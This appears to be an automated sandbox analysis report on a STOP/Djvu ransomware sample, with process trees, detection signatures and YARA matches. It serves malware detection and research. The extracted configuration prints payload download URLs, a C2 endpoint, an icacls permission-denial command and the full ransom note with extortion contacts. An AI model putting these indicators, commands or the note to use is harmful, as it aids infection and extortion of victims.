Edit tour

Windows Analysis Report
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Overview

General Information

Sample name:	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Analysis ID:	1482697
MD5:	0b5606b5bd61d8026fbcf1a217248485
SHA1:	905991e3483187cad6d9dd51cde2a3a4ac168e62
SHA256:	48ba4b8f4d87039ee33cac2af62a67ee1fd9b3b1b02f4b183f78a7c326b4e42d
Tags:	exeStop
Infos:

Detection

Babuk, Bdaejec, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Babuk Ransomware

Yara detected Bdaejec

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

PE file contains section with special chars

Uses known network protocols on non-standard ports

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 5480 cmdline: "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" MD5: 0B5606B5BD61D8026FBCF1A217248485)

RranN.exe (PID: 6104 cmdline: C:\Users\user\AppData\Local\Temp\RranN.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 7192 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 1536 MD5: C31336C1EFC2CCB44B4326EA793040F2)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 3492 cmdline: "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" MD5: 0B5606B5BD61D8026FBCF1A217248485)

icacls.exe (PID: 7212 cmdline: icacls "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7240 cmdline: "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7380 cmdline: "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7272 cmdline: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7492 cmdline: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7564 cmdline: "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7688 cmdline: "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7808 cmdline: "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart MD5: 0B5606B5BD61D8026FBCF1A217248485)

A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe (PID: 7880 cmdline: "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart MD5: 0B5606B5BD61D8026FBCF1A217248485)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4I8XKCGgbb4qleJAF7W2dmJHdLsc5du\\\\nn8FhrNPyozIM2b3b+aIVTP\\/lJE4DFAuzoGoNy\\/r7ZMMCouk+kV+0YBL\\/H9AD2HSx\\\\ntpYMoPkxkjt02aJScPkgYcIZKsj8LUimPmEy34gW\\/wIkqvbMYKXtNnao\\/qED9CFR\\\\n6UBM46bPFhHq3QpKPr6sdTg4kaQi\\/ZLueJvFVZ2raXOcEA1TunnUmTVfBP6Uboip\\\\nfrCky0fkvCyEHfX6+Sizo50\\/glCm7dKNyNlXe3DaKCDvma36A+5uUwe+8X2hPKdj\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.1800497769.00000000008F3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.1863661270.0000000000919000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.1940914236.00000000021B5000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 5480	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 5480	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31188:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: RranN.exe PID: 6104	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 3492	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 3492	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x406bf:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7240	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7240	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x319a4:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7272	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7272	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32cea:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc2898:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4e625:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7564	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7564	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37435:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7688	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7688	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3847f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7808	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7808	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33e0a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7880	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7880	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4908c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
